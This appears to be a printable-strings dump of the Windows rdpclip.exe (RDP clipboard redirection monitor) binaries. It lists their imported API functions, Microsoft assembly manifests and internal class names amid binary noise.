WaitForMultipleObjects
CreateThread
GetModuleHandleExW
TlsSetValue
TlsGetValue
OpenThread
TlsAlloc
TlsFree
FreeLibraryAndExitThread
GetModuleHandleW
FindClose
GetFileInformationByHandle
CreateFileW
GetFileAttributesW
FindFirstFileW
FindNextFileW
GlobalFree
GlobalUnlock
GlobalAlloc
CreateDirectoryW
DeleteFileW
GetTempFileNameW
MultiByteToWideChar
GlobalLock
GlobalSize
ReadFile
GetOverlappedResult
WriteFile
GetStockObject
GDI32.dll
DispatchMessageW
PeekMessageW
MsgWaitForMultipleObjectsEx
PostThreadMessageW
UnregisterClassW
RegisterClassW
LoadStringW
RegisterClipboardFormatW
SetClipboardData
CloseClipboard
EmptyClipboard
OpenClipboard
IsClipboardFormatAvailable
GetClipboardData
_ftol2_sse
wcsrchr
wcschr
DragQueryFileW
SHFileOperationW
WinStationVirtualOpen
OleIsCurrentClipboard
OleSetClipboard
WideCharToMultiByte
SetFilePointer
DeleteMetaFile
GetMetaFileBitsEx
CloseMetaFile
PlayMetaFile
CreateMetaFileW
SetMetaFileBitsEx
GetPaletteEntries
GetObjectW
DeleteObject
CreatePalette
GetClipboardFormatNameW
_wcsnicmp
ReleaseStgMedium
CoGetMalloc
OleGetClipboard
CopyStgMedium
urlmon.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="5.1.0.0"
    processorArchitecture="x86"
    name="Microsoft.Windows.TerminalServices.RDPClip"
    type="win32"
<description>RDP Data Redirection Monitor</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel
                level="asInvoker"
                uiAccess="false"
            />
        </requestedPrivileges>
    </security>
</trustInfo>
</assembly>
2044484P4
4T5X5\5`5
7,8084888<8@8D8H8L8P8T8X8$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:<:@:D:H:L:P:T:X:\:
; ;$;(;,;
0<1@1D1H1P1T1X1\1`1d1h1l1p1t1x1|1
1<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
7 7$7(7,7074787<7@7p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>
88<8@8D8H8L8P8T8
< <$<(<,<0<4<8<<<@<
> >$>(>,>0>4>8><>@>|>
<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
? ?$?(?,?0?4?8?<?@?
5 5$5(5,505
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6
9L9P9T9X9\9`9d9h9l9
1 1$1(1,1014181<1@1D1H1L1P1T1X1
4h5l5p5t5x5
:$;(;x;
<!<&<,<2<S<Y<m<x<~<
0 0=0w0
1*2;2E2V2x2
383>3G3U3[3h3x3
5"6)6L6i6
7/7>7Z7g7
8!8I8P8
9)9/9:9A9h9
;(;2;7;<;R;W;`;e;r;
<F<L<V<\<e<q<
=$=*=1=8=C=K=Q=u=
>T>d>j>x>
1,191E1M1U1a1x1
2!2&2,262?2J2X2]2c2n2u2
32373D3Y3r3w3
8V8[8h8
8d:i:v:P;U;b;k;p;};
<	<,=1=>=p=u=
i0o0u0
1K1Q1X1
182@2K2R2Y2
3J4P4W4
4 5%525
6,616>6
9 :%:3:8:
=%=e=v=
? ?.?]?d?k?
0&0R0W0d0
13181N1e1j1x1
2	292@2G2
2M3S3a3f3
3-424G4s4x4
5-525Q5V5l5
7;7@7N7S7
8)8.8a8x8}8
:<:A:O:T:
:M;R;g;
<N=S=i=n=
>8>=>K>P>
1[2`2n2s2
2?3D3R3W3|3
5I5N5d5i5
7`8e8r8
9&9,939
</<4<J<O<r<w<
<0=5=C=H=g=l=y=
=@>E>]>b>
04090O0T0k0p0
0"1'141
24292O2T2
2F3K3Y3^3
5<5A5Q5q5v5
6/7@7F7M7T7
9#9)909
9/:4:B:G:[:`:n:w:|:
;,<1<G<L<
=2>7>D>
>=?B?P?U?i?n?{?
0050B0
0M1R1_1h1m1z1
2G3L3Y3
3!5&565
<%<u<z<
<'=,=9=
>$>1>y>~>
0K1P1^1c1
1>2C2P2&3+383W4c4m4t4{4
5!5/545g5l5z5
6%6*686d6i6w6
6M7[7m7t7{7
8&8+888f8t8{8
9E9$:):7:<:d;i;v;
;[<`<m<
<M=R=_=
>%?+?2?9?
0:2A2H2O2
4D4P4Y4
=%=P=`=
0(040@0L0X0d0}0
1,1C1H1U1
2&2D2v2
515I5N5[5
6.646]6b6o6
8(8L8Q8^8
9@9E9R9s9|9
:(:-:C:H:_:o:t:
;&;-;5;;;D;J;V;[;c;s;
=)>X>h>m>
>&?/?S?Y?g?
0!090?0M0~0
131<1A1N1
2)393>3L3Q3h3v3
3g4t4~4
595F5S5`5m5|5
7,767C7M7y7
8&838G8Q8
9$9.989B9O9Y9c9n9x9
:,:;:H:Y:f:u:
<&<3<=<i<v<
=#=7=A=
0 1&14191
3E4>5C5P5
8-8a8j8o8|8
8 9%9;9@9c9h9z9
;0;5;t;y;
;&<+<A<F<
>C>H>U>r>
?+?Q?V?d?
.030A0F0
1?1D1Q1V1
14292M2`2z2
3T3Y3o3t3
4-424S4b4
565\5a5o5t5
6F7T7Y7f7{7
8$8)8L8Q8^8
:':L:Q:_:d:
;$<3<y<~<
>">1>r>y>
>'?,?;?O?
+000>0C0w0}0
2&2+2N2S2i2n2
32373W3\3j3o3
3%4+494h4n4|4
51575E5t5z5
7/747I7N7l7q7
9*:/:<:
;);8;U;a;
;><J<f<
="=)=.=;=l=q=
>!>&>Q>u>
>/?4?;?k?
0-0I0V0~0
1+101Y1^1k1
2-222B2
4R4b4i4{4
5 585=5K5P5
676K6R6t6y6
7=7C7R7X7f7k7H8M8[8`8
9N9t9y9
:/:`:e:{:
<g=l=z=
>W>\>o>t>
?!?(?x?
0!0t0y0
1<1L1a1g1
2-2B2H2w2
3R3W3e3j3
4<4K4k4
515<5H5R5a5f5x5
6;8@8V8[8r8w8
9>9C9Q9V9
:D:I:_:d:
:,;1;9;I;u;
;)<9<t<
050X0]0k0p0|0
2.232I2N2
3#393>3i3n3
6"606P6U6g6l6
8!9&949T9Y9k9p9*:/:=:B:
=*=/===e=
>&>+>A>F>k>p>
? ?T?_?d?z?
0L0Q0g0
2#2(2V2\2j2
3%3*3[3`3m3
5"505N5
63686N6S6
6'7,7>7o7t7
9#9\9a9o9t9*:2:?:T:Y:g:|:
;%;+;2;A;G;U;Z;
<-<2<c<h<v<{<
=$=g=l=
=#>(>5>:>f>{>
?%?+?9?>?x?
0Y0`0g0v0|0
1f2k2y2~2
3X3d3p3|3
3@4E4[4`4
5#5/5e5{5
686=6J6
72777M7R7j7
8?8D8R8W8
90969L9R9`9e9
< <%<;<a<f<t<
> >4>9>G>z>
?G?L?b?g?
0 0.030{0
3T3Y3o3t3
354?4x4
5F5K5`5e5
6/6W6\6i6n6
7%7+797>7
8"8J8O8]8b8
8/949F9K9_9d9q9
'0:0S0
1$12171e1
2*2/2<2~2
2;3@3V3[3r3w3
484Z4o4u4
5a5f5u5
6c7h7v7{7
8'8,8B8G8y8~8
8Z9m9t9
9::?:M:R:w:|:
; ;%;I;e;l;s;
<:<?<M<R<`<e<r<
?b?g?}?
03080F0K0
2,212a2f2s2x2
3+303]3}3A4F4S4
4#5(5>5C5j5o5
6*6N6S6`6
6&7+797>7
7#8(858
8@9E9R9s9x9
9M:T:`:
;#;(;6;;;H;
<!<P<U<k<p<
<"=)=0=
>H>M>Z>
?!?/?4?{?
151F1M1w1}1
2S2X2n2s2
2*3/3=3B3V3[3h3
4*5/5<5_5
6!6&6V6[6i6n6
7 8%8;8@8_8d8z8
9<9K9h9m9z9
: ;%;2;R;
<"<0<5<B<
=9>D>I>W>\>x>}>
?0?5?T?Y?o?t?
3!3*363
4<4A4Y4^4
9#9(9U9Z9h9
<,<1<K<u<z<
<+=0=>=C=
=&>+>8>|>
#0(050
0 1B1G1b1i1
2&2Q2j2t2~2
2(3-3B3d3
464@4J4c4m4
575N5j5s5x5
6&6X6]6r6
7+7S7j7v7
888T8X8t8x8
0 0,040L0T0 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
!This program cannot be run in DOS mode.
`.data
.pdata
@.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
SHELL32.dll
WINSTA.dll
WTSAPI32.dll
MPR.dll
RPCRT4.dll
ole32.dll
GDI32.dll
urlmon.dll
L&&jl66Z~??A
Oh44\Q
sb11S*
uB!!c 
D""fT**~;
;d22Vt::N
J%%o\..r8
gg}V++
jL&&Zl66A~??
Sb11?*
tX,,.4
RRMv;;a
MMUf33
PPDx<<
cB!!0 
~~Gz==
fD""~T**
Vd22Nt::
xxoJ%%r\..$8
ppB|>>
aa_j55
UUxP((z
&jL&6Zl6?A~?
~=Gz=d
"fD"*~T*
2Vd2:Nt:
x%oJ%.r\.
a5_j5W
=&&jL66Zl??A~
g99KrJJ
==Gzdd
""fD**~T
22Vd::Nt
$$lH\\
77Ynmm
%%oJ..r\
55_jWW
[T:$6.
[.:$6g
j_FbT~
h4,8$@_
2\tHlWB
PQAeS~
~4[C)v
8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS
EHl\tFeQ
T~FbZwKi
,8$4'6-9:$6.1*?#XpHhS~AeNlZrEbS
FeQbT~FiZwK
4,8$9'6-.:$6#1*?hXpHeS~ArNlZ
EbS\tHlQ
FeFbT~KiZw
$4,8-9'66.:$?#1*HhXpAeS~ZrNlS
Ebl\tHeQ
F~FbTwKiZ
PrintUIEntryW
CTSMsg
CTSSyncWaitResult
CTSBufferResult
CLIPRDR
CReliableClipUpdateHandler
AddClipboardFormatListener
RemoveClipboardFormatListener
GetUpdatedClipboardFormats
rdpclip.pdb
t$ WATAUAVAWH
H!\$03
A_A^A]A\_
L$ SVWH
x ATAUAVH
A^A]A\
H!_(!_8H
u59y8t
WATAUH
 A]A\_
x ATAUAVH
t>D9s0A
L91t	H
0A^A]A\
UVWATAUAVAWH
`A_A^A]A\_^]
UVWATAUAVAWH
u<L9}P
pA_A^A]A\_^]
t$ WATAUAVAWH
0A_A^A]A\_
t$ WATAUAVAWH
0A_A^A]A\_
ATAUAVH
@A^A]A\
x ATAUAWH
0A_A]A\
VWATAUAVH
||D9wht
0A^A]A\_^
WATAUH
0A]A\_
VWATAUAVH
A^A]A\_^
l$ VWATH
t$ WATAUH
 A]A\_
WATAUH
 A]A\_
p WATAUAVAWH
H!|$@L
A_A^A]A\_
9S0v<I
9s(v+3
9s(v/3
t$ WATAUAVAWH
 A_A^A]A\_
UVWATAUH
 A]A\_^]
l$ VWATH
WATAUH
0A]A\_
WATAUAVAWH
0A_A^A]A\_
WATAUAVAWH
A_A^A]A\_
t$ WATAUH
 A]A\_
VWAUAVAWH
A_A^A]_^
UVWATAUAVAWH
0A_A^A]A\_^]
UVWATAUAVAWH
@A_A^A]A\_^]
UVWATAUAVAWH
\$Xt	H
A_A^A]A\_^]
WATAVH
9{0v5H
tn;wPw*D
0A^A\_
t$ WATAUAVAWH
A_A^A]A\_
L$ SVWH
l$ VWATAUAVH
 A^A]A\_^
@SUVWATAUH
A]A\_^][
WATAUAVAWH
A_A^A]A\_
VWAUAVAWH
f99t	H
A_A^A]_^
UWAUAVAWH
xL9l$pH
@A_A^A]_]
x ATAUAVH
0A^A]A\
9t$Xu4
G(H!_@H
@SUVWATAUH
A]A\_^][
ATAUAVH
0A^A]A\
G(H!_@H
@SUVWATAUH
A]A\_^][
UVATAUAVH
D!d$@L!d$P
L!d$0D
A^A]A\^]
|$ ATH
UVWATAUAVAWH
H!l$@!
PA_A^A]A\_^]
UVWATAUAVAWH
@A_A^A]A\_^]
VWATAUAVH
0A^A]A\_^
D$(f!l$ H
p WATAUH
0A]A\_
H!_(H!_0H!_8H!_@H
WATAUH
@A]A\_
UVWATAUAVAWH
A_A^A]A\_^]
VWATAUAWH
9|$xu?
A_A]A\_^
WATAUAVAWH
0A_A^A]A\_
@SUVWATH
A\_^][
9L$(t*I
_(L9g(u4H
WATAUH
0A]A\_
\$ UVWATAUH
D$hu7H
D$0t	Hi
A]A\_^]
O ;1r4H
!_(!_`H!_XH
uXH;^XH
WATAUH
t*D9f`r$M
0A]A\_
WATAUH
!_P!_p!_`
!_<!_@!_DH!_XH!_hH
0A]A\_
D9Ktt&
Ct9{tI
@SUVWATAUH
C 9C(r
A]A\_^][
@SUVWATAUH
\$8u7H
u|9D$<uv3
A]A\_^][
H!_hH!_p!_xH
VATAUAVAWH
0A_A^A]A\^
WATAUH
H!^0!^8!^<H
0A]A\_
9\$`tS9\$htM
\$ UVWATAUAVAWH
uxH;l$H
A_A^A]A\_^]
x ATAUAVH
0A^A]A\
WATAUH
 A]A\_
l$ VWATH
x ATAUAVH
 A^A]A\
l$ VWATH
@SUVWATH
A\_^][
WATAUAVAWH
0A_A^A]A\_
WATAUAVAWH
 A_A^A]A\_
LcA<E3
9MZu*9Q<|%
A32A3z
A32A3z
A32A3z
A32A3z
\$P333{
OpenThreadToken
AllocateAndInitializeSid
FreeSid
CheckTokenMembership
ADVAPI32.dll
CreateMutexW
InitializeCriticalSection
GetLastError
HeapSetInformation
CloseHandle
FreeLibrary
WaitForSingleObject
GetCurrentThread
LoadLibraryW
LeaveCriticalSection
GetProcAddress
EnterCriticalSection
ProcessIdToSessionId
CreateEventW
DeleteCriticalSection
GetCurrentProcessId
KERNEL32.dll
DefWindowProcW
SetWindowLongPtrW
CreateWindowExW
RegisterClassExW
GetClassInfoExW
GetWindowLongPtrW
LoadCursorW
PostMessageW
PostQuitMessage
USER32.dll
_wcsicmp
_vsnwprintf
__getmainargs
__C_specific_handler
_XcptFilter
_ismbblead
_cexit
_acmdln
_initterm
_amsg_exit
__setusermatherr
_commode
_fmode
__set_app_type
msvcrt.dll
?terminate@@YAXXZ
_unlock
__dllonexit
_onexit
SHChangeNotify
SHELL32.dll
WinStationQueryInformationW
WINSTA.dll
WTSUnRegisterSessionNotification
WTSRegisterSessionNotification
WTSAPI32.dll
RtlVirtualUnwind
RtlLookupFunctionEntry
RtlCaptureContext
ntdll.dll
WNetCancelConnection2W
WNetAddConnection2W
MPR.dll
NdrServerCall2
NdrServerCallAll
RpcServerRegisterIfEx
RpcServerUnregisterIfEx
RpcServerListen
RpcBindingInqAuthClientW
RpcImpersonateClient
RpcServerUseProtseqEpW
RpcRevertToSelf
RPCRT4.dll
TraceMessage
GetStartupInfoW
SetUnhandledExceptionFilter
GetModuleHandleW
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SendMessageW
DestroyWindow
_purecall
OleInitialize
OleUninitialize
ole32.dll
TlsGetValue
GetModuleHandleExW
SetEvent
TlsSetValue
ResetEvent
OpenThread
LocalAlloc
WaitForMultipleObjects
TlsAlloc
LocalFree
TlsFree
CreateThread
FreeLibraryAndExitThread
MultiByteToWideChar
GetTempFileNameW
DeleteFileW
CreateDirectoryW
GlobalAlloc
GlobalUnlock
GlobalFree
GetFileAttributesW
CreateFileW
GetFileInformationByHandle
FindClose
FindNextFileW
FindFirstFileW
GlobalLock
GlobalSize
WriteFile
GetOverlappedResult
ReadFile
GetStockObject
GDI32.dll
DispatchMessageW
PostThreadMessageW
MsgWaitForMultipleObjectsEx
PeekMessageW
UnregisterClassW
RegisterClassW
LoadStringW
OpenClipboard
EmptyClipboard
SetClipboardData
CloseClipboard
RegisterClipboardFormatW
IsClipboardFormatAvailable
GetClipboardData
memcpy
memset
wcsrchr
wcschr
SHFileOperationW
DragQueryFileW
WinStationVirtualOpen
OleSetClipboard
OleIsCurrentClipboard
WideCharToMultiByte
SetFilePointer
GetObjectW
GetPaletteEntries
CreatePalette
DeleteObject
CreateMetaFileW
PlayMetaFile
CloseMetaFile
GetMetaFileBitsEx
DeleteMetaFile
SetMetaFileBitsEx
GetClipboardFormatNameW
_wcsnicmp
OleGetClipboard
ReleaseStgMedium
CoGetMalloc
CopyStgMedium
urlmon.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="5.1.0.0"
    processorArchitecture="amd64"
    name="Microsoft.Windows.TerminalServices.RDPClip"
    type="win32"
<description>RDP Data Redirection Monitor</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel
                level="asInvoker"
                uiAccess="false"
            />
        </requestedPrivileges>
    </security>
</trustInfo>
</assembly>
!This program cannot be run in DOS mode.
xRich)
`.data
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
SHELL32.dll
WINSTA.dll
WTSAPI32.dll
MPR.dll
RPCRT4.dll
WINSPOOL.DRV
ole32.dll
GDI32.dll
UrebXr
PrintUIEntryW
CRdpClipMainWnd
CClipDndServerDriver
CLIPRDR
CServerStaticVirtualChannel
CTSPlatform
CTSObjectPool
CTSEventFilterAllowAllEvents
CTSEventFilterBlockAllEvents
CTSEventFilterAllowSyncEventsOnly
CTSEventFilterAllowSpecifiedEvents
CTSMsg
CTS_TLS_ThreadDescriptor
CTSThread
CTSBufferResult
CTSSyncWaitResult
CTSWorkItemResult
CAPCThread
CServerVCChannel
CServerVCChannelManager
CClipServer
CServerClipRdrPduDispatcher
?ffffff
CTSCoreEventSink
CTSCoreEventSource
CTSCoreEvents
CServerRdrVirtualChannel
CServerFormatDataPacker
CServerRdrFileTransfer
CServerFileNamePacker
CServerHdropPacker
GetUpdatedClipboardFormats
RemoveClipboardFormatListener
AddClipboardFormatListener
CLegacyClipUpdateHandler
CClipReliableClipFunctions
CReliableClipUpdateHandler
CProxyDataObject
CEnumFormatEtc
CProxyDataObjectManager
CProxyStreamManager
CProxyStream
CFileContentsReaderManager
rdpclip.pdb
u/9^ t
VVVVVV
~(9?t(S3
~(9?t+S3
tuVh "
tuVh "
tuVh "
t>ShX#
t<ShX#
98uIVh
tJWh0(
tCWh *
WWWWWPR
tLVh8.
tOVh\0
tMSh<0
PPWSPP
Ht<HHt3Ht0
HtNHHtCHt@
Ht0HHt'Ht$
t/WhL8
tVVhL8
tWVhP:
tCWhP;
tOWh8&
t:WhX#
t7WhX#
tXWh8<
t{Vht=
tXVhL?
tnSh E
tzVhL?
tnWh8L
tnWh$N
t|WhXO
thSh`R
tpShXS
t!WhxT
t!WhxT
tfVh T
txVh4V
t!Sh T
t&WhXW
t-WhXa
t-WhXa
t3Whpf
t>Vhp_
t}Shp_
t5Shp_
taWh f
tZVh f
tnShpn
t7Shpn
t<ShL?
tPVh(o
HtTHt&HHt	
^D;^Lu*
tSPVj,
tuVh@s
tSPWj+
twWhxv
toWhDw
tuVh`x
tlShl|
t;Shl|
tTWhDw
CheckTokenMembership
OpenThreadToken
FreeSid
RegSetValueExW
RegCloseKey
RegCreateKeyExW
AllocateAndInitializeSid
RegDeleteValueW
RegGetValueW
RegOpenKeyExW
ADVAPI32.dll
InitializeCriticalSection
CloseHandle
GetLastError
CreateMutexW
HeapSetInformation
GetCurrentThread
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
CreateEventW
ProcessIdToSessionId
GetCurrentProcessId
WaitForSingleObject
FreeLibrary
GetProcAddress
LoadLibraryW
KERNEL32.dll
SetWindowLongW
DefWindowProcW
GetWindowLongW
RegisterClassExW
LoadCursorW
GetClassInfoExW
PostQuitMessage
PostMessageW
SystemParametersInfoW
CreateWindowExW
LoadStringW
USER32.dll
??2@YAPAXI@Z
??3@YAXPAX@Z
_vsnwprintf
_wcsicmp
memset
__getmainargs
_cexit
_XcptFilter
_ismbblead
_acmdln
_initterm
_amsg_exit
__setusermatherr
__p__commode
__p__fmode
__set_app_type
_except_handler4_common
msvcrt.dll
?terminate@@YAXXZ
_controlfp
_unlock
__dllonexit
_onexit
SHChangeNotify
SHELL32.dll
WinStationQueryInformationW
WinStationIsSessionRemoteable
WINSTA.dll
WTSUnRegisterSessionNotification
WTSRegisterSessionNotification
WTSAPI32.dll
WNetCancelConnection2W
WNetAddConnection2W
MPR.dll
NdrServerCall2
RpcServerUnregisterIfEx
RpcRevertToSelf
RpcImpersonateClient
RpcBindingInqAuthClientW
RpcServerListen
RpcServerRegisterIfEx
RpcServerUseProtseqEpW
RPCRT4.dll
ClosePrinter
GetPrinterDataW
OpenPrinterW
WINSPOOL.DRV
TraceMessage
InterlockedExchange
InterlockedCompareExchange
GetStartupInfoA
SetUnhandledExceptionFilter
GetModuleHandleA
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
LocalAlloc
LocalFree
InterlockedIncrement
InterlockedDecrement
SetEvent
ResetEvent
WaitForMultipleObjects
CreateSemaphoreW
ReleaseSemaphore
CreateThread
GetModuleHandleExW
TlsSetValue
TlsGetValue
SwitchToThread
OpenThread
GetSystemInfo
MultiByteToWideChar
WideCharToMultiByte
CreateFileW
TlsFree
TlsAlloc
FreeLibraryAndExitThread
GetModuleHandleW
CancelIo
GetOverlappedResult
WriteFile
WaitForSingleObjectEx
QueueUserAPC
ReadFileEx
DispatchMessageW
PeekMessageW
MsgWaitForMultipleObjectsEx
PostThreadMessageW
DestroyWindow
UnregisterClassW
SendMessageW
memcpy
_purecall
WinStationVirtualOpenEx
WTSFreeMemory
WTSVirtualChannelQuery
WTSVirtualChannelOpen
WTSVirtualChannelClose
OleUninitialize
OleInitialize
ole32.dll
RtlMultiByteToUnicodeN
ntdll.dll
CreateDirectoryW
DeleteFileW
GetTempFileNameW
FindClose
GetFileInformationByHandle
GetFileAttributesW
FindFirstFileW
FindNextFileW
GlobalFree
GlobalUnlock
GlobalAlloc
GlobalLock
GlobalSize
GetStockObject
GDI32.dll
RegisterClassW
SetClipboardViewer
GetClipboardViewer
ChangeClipboardChain
IsWindow
CloseClipboard
EnumClipboardFormats
CountClipboardFormats
OpenClipboard
RegisterClipboardFormatW
SetClipboardData
EmptyClipboard
GetClipboardData
IsClipboardFormatAvailable
_ftol2_sse
wcsrchr
wcschr
vswprintf_s
SHFileOperationW
DragQueryFileW
OleIsCurrentClipboard
OleSetClipboard
ReadFile
SetFilePointer
DeleteMetaFile
GetMetaFileBitsEx
CloseMetaFile
PlayMetaFile
CreateMetaFileW
SetMetaFileBitsEx
GetPaletteEntries
GetObjectW
DeleteObject
CreatePalette
GetClipboardFormatNameW
_wcsnicmp
ReleaseStgMedium
CoGetMalloc
OleGetClipboard
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="5.1.0.0"
    processorArchitecture="x86"
    name="Microsoft.Windows.TerminalServices.RDPClip"
    type="win32"
<description>RDP Data Redirection Monitor</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel
                level="asInvoker"
                uiAccess="false"
            />
        </requestedPrivileges>
    </security>
</trustInfo>
</assembly>
D3H3T3X3
4 4$4(4,4P5T5X5\5
788<8@8D8H8L8P8T8X8
9<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9
9`=d=h=l=p=t=x=|=
=h>l>p>t>x>|>
>L?P?T?X?
0,0004080<0@0D0H0L0p0t0x0|0
1l2p2t2x2|2
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5
=@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
2 2024282<2@2D2H2L2P2|4
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
7 7$7(7,7074787
9 9$9(9,9094989<9@9D9H9L9P9T9X9p9t9x9|9
< <$<(<,<0<4<
0 0$0(0,0004080<0
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8L=P=T=X=\=`=d=h=l=p=t=x=|=
=p>t>x>|>
0 0$0(0,0004080<0@0(1p2t2x2|2
3 3$3(3,3034383<3054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
6,7074787
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8
1 1$1(1,1014181<1@1D1H1L1P1p9t9x9|9
9`>d>h>l>
1 1$1(1,1014181<1@1D1H1L1P1h1l1p1t1x1|1
2$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6
> >$>(>,>0>4>
2%292D2J2c2
5:5A5Z5w5
9/999J9l9
:,:2:;:I:O:\:l:u:
<"=.=N=e=
0A0P0l0y0
0,151S1
1c2j2y2
2)303[3
4(4I4Y4
5G6W6^6
9>9D9N9.:s;
;?=E=L=S=
>">*>7>N>j>t>
?)?.?k?u?{?
 0+010z0
1\1a1v1
3(3=3L3V3g3{3
5,5A5G5M5S5Y5_5f5m5t5{5
7E7Z7f7
718W8}8
<)</<4<
="=8===J=
>#>L>Q>^>s>
0>0C0P0v0{0
12171D1e1n1s1
2,222?2E2O2T2^2n2
3"3/3@3L3`3g3n3s3
5 6M6]6b6p6u6
707@7E7[7`7
8*808>8t8
9$9U9k9p9}9
:F:O:T:a:
;1;6;C;V;
=X>]>s>x>
?]?b?o?
2'2,292B2G2T2f3k3y3~32474F4y4
9'9>9E9L9
9I:N:d:i:}:
:);0;7;O;V;a;
=6=;=K=Z=_=o=
)111<1C1J1f1m1t1{1
1.252<2C2J2U2
3Q3Y3g3m3t3&4-444;4B4M4
6#6(656
7f7k7x7
9"9G9L9Z9_9m9r9
:/:4:B:G:U:Z:g:
;*;/;=;B;O;
&0+0;0@0a0f0v0{0
2P2U2b2}2
4S5X5e5
5E6J6X6]6
7)7D7J7X7t7y7
768;8H8t8
:$:3:8:H:
<^<c<q<v<
?-?2???q?v?
0R0W0d0
252:2O2
2%3*373
4D4I4_4d4
5/646B6G6
7 7%7S7a7f7t7y7
8+8R8W8e8j8V9[9h96:;:H:
;*;O;T;Y;
;,<1<@<j<|<
<H=M=]=b=
=B>G>T>Y>
?"?g?l?
1`1e1r1
1!2&24292o2t2
30353{3
585C5n5
7B7G7T7
8#8*8r8w8
8e9j9x9}9
97;<;K;~;
;#<(<5<
<'=-=4=c=h=v={=
?H?M?c?
0$0)070<0
3(3-3;3@3Z3_3m3r3
4!4V4b4n4z4
7)7.7G7L7^7c7
869;9N9T9Z9
:.:3:c:z:
:3;;;R;Y;`;u;
<"<)<.<<<I<R<\<c<h<v<
<*=O=q=
=$>+>1>E>L>W>
>_?f?r?
324W4_4n4s4x4
4)5/5=5B5
5#6(656:6|6
6?7D7Z7_7
9F:K:X:]:
;L<Q<^<|<
31464C4
697@7K7
7P8X8i8o8v8
9;9@9M9u9z9
:$:Y:^:k:
:	;8;=;P;
;`<e<r<
=]>b>r>
>%?*?@?E?{?
3'3,3T3Y3o3t3
3A4F4S4
5-5v5{5
6>7E7K7Y7^7k7
7a8f8t8y8
8E9J9W9
94:9:F:
;/;4;B;G;z<
<J=O=]=b=
>,>f>k>x>
\0c0o0
383B3L3f3l3q3
3:4?4N4f4w4|4
5 555i5{5
50656:6h6z6
6.737@7E7m7r7
9(9`9e9r9w9
<R<[<`<m<
=,=1=T=Y=k=p=
?%?*?j?o?|?
0!070<0
1L2t2y2
31363J3Y3
4`4e4s4x4
40555B5G5q5v5
6;7@7M7
8D8I8_8d8
929<9h9
:-:J:l:{:
=5=:=]=b=x=}=
>&>+>A>F>i>n>
?/?4?B?G?g?l?z?
0&0+000i0
191Q1^1c1h1
1	2!2.23282q2
3=3M3W3\3a3
4%4h4o4v4}4
4:5A5H5
6?6E6S6X6m6}6
6'7-7;7n7t7
8H8N8]8
<+<G<d<n<
=M=R=d=
>2>Q>h>m>{>
?+?;?@?M?i?p?u?
0!0&0K0[0
1+101K1d1j1q1x1
494X4n4~4
5%5*585=5U5Z5h5m5
6A6F6S6
9#9F9K9`9
9 :U:m:
:Z;_;m;r;
<#<*<v<
> >H>M>Z>
?J?O?^?
1060E0]0j0
1Q2f2v2
3$3)3G3`3
3g4l4z4
4F5N5[5p5u5
5&6Q6X6_6i6p6{6
6A7F7U7g7}7
888B8I8N8\8a8
9A9F9T9Y9
:2:y:~:
:	;6;;;H;M;y;
<$<*<5<S<t<
<==^=e=l=
>$>)>Q>V>c>h>
>A?F?S?
-0C0J0Q0
0)1.1;1
3 4`4h4{4
5&565K5Q5q5
6,626^6m6
7 7*747S7^7j7t7
7-8V8[8o8
8a:f:u:
;!;&;q;v;
<;<@<V<[<
<+=0=F=K={=
>/>[>k>
?D?I?X?j?v?
0.03080U0c0
4$4G4_4d4
4$535E5S5d5
6-6E6J6l6
7+707F7i7x7
9*9k9{9
:%:*:M:R:`:e:
;P;U;c;h;
;)<.<<<b<g<y<~<
>(?-?C?H?v?{?
0K0P0_0
1)1.1d1k1p1
1C2I2O2
5;5@5X5]5t5
6'626f6
7-727H7M7a7f7u7
8	8-828H8M8o8t8
:":2:7:K:P:_:~:
:A;d;j;o;
<*<I<N<\<u<
=2=7=M=
=0>C>z>
0"0)00070>0E0L0S0Z0a0h0r0
2*2:2O2W2
3 4%424R4W4d4
51565H5}5
